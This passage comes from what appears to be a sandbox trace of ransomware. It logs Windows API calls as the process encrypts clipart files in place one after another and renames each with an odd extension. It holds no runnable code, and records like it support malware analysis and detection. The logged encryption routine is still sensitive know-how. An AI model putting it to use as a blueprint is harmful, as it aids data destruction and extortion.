returned 1 [0202.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.252] SetEndOfFile (hFile=0x130) returned 1 [0202.255] GetProcessHeap () returned 0x2ef0000 [0202.255] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.255] GetProcessHeap () returned 0x2ef0000 [0202.255] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.kjhslgjkjdfg")) returned 1 [0202.257] CloseHandle (hObject=0x130) returned 1 [0202.257] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0202.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.258] GetProcessHeap () returned 0x2ef0000 [0202.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.258] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.258] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.260] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.260] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.260] GetProcessHeap () returned 0x2ef0000 [0202.260] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.260] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.260] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.261] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.261] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.261] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.261] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.261] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.261] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.261] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x778, lpOverlapped=0x0) returned 1 [0202.261] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780, dwBufLen=0x780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780) returned 1 [0202.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.261] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x780, lpOverlapped=0x0) returned 1 [0202.261] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.262] SetEndOfFile (hFile=0x130) returned 1 [0202.264] GetProcessHeap () returned 0x2ef0000 [0202.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.264] GetProcessHeap () returned 0x2ef0000 [0202.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.kjhslgjkjdfg")) returned 1 [0202.272] CloseHandle (hObject=0x130) returned 1 [0202.272] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0202.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.273] GetProcessHeap () returned 0x2ef0000 [0202.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.273] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.279] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.279] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.279] GetProcessHeap () returned 0x2ef0000 [0202.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.279] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.279] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.280] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.280] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ea8, lpOverlapped=0x0) returned 1 [0202.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1eb0, dwBufLen=0x1eb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1eb0) returned 1 [0202.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.281] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1eb0, lpOverlapped=0x0) returned 1 [0202.281] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.281] SetEndOfFile (hFile=0x130) returned 1 [0202.282] GetProcessHeap () returned 0x2ef0000 [0202.282] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.282] GetProcessHeap () returned 0x2ef0000 [0202.282] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.kjhslgjkjdfg")) returned 1 [0202.284] CloseHandle (hObject=0x130) returned 1 [0202.284] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0202.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.289] GetProcessHeap () returned 0x2ef0000 [0202.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.289] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.291] GetProcessHeap () returned 0x2ef0000 [0202.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.292] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.292] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.292] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.292] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.292] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0202.293] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fd0) returned 1 [0202.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.293] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1fd0, lpOverlapped=0x0) returned 1 [0202.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.294] SetEndOfFile (hFile=0x130) returned 1 [0202.296] GetProcessHeap () returned 0x2ef0000 [0202.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.296] GetProcessHeap () returned 0x2ef0000 [0202.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.kjhslgjkjdfg")) returned 1 [0202.298] CloseHandle (hObject=0x130) returned 1 [0202.298] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0202.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.299] GetProcessHeap () returned 0x2ef0000 [0202.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.299] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.300] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.300] GetProcessHeap () returned 0x2ef0000 [0202.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.300] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.300] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.300] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.302] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x22b0, lpOverlapped=0x0) returned 1 [0202.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22b0) returned 1 [0202.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.304] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x22b0, lpOverlapped=0x0) returned 1 [0202.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.304] SetEndOfFile (hFile=0x130) returned 1 [0202.307] GetProcessHeap () returned 0x2ef0000 [0202.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.307] GetProcessHeap () returned 0x2ef0000 [0202.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.kjhslgjkjdfg")) returned 1 [0202.308] CloseHandle (hObject=0x130) returned 1 [0202.308] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, 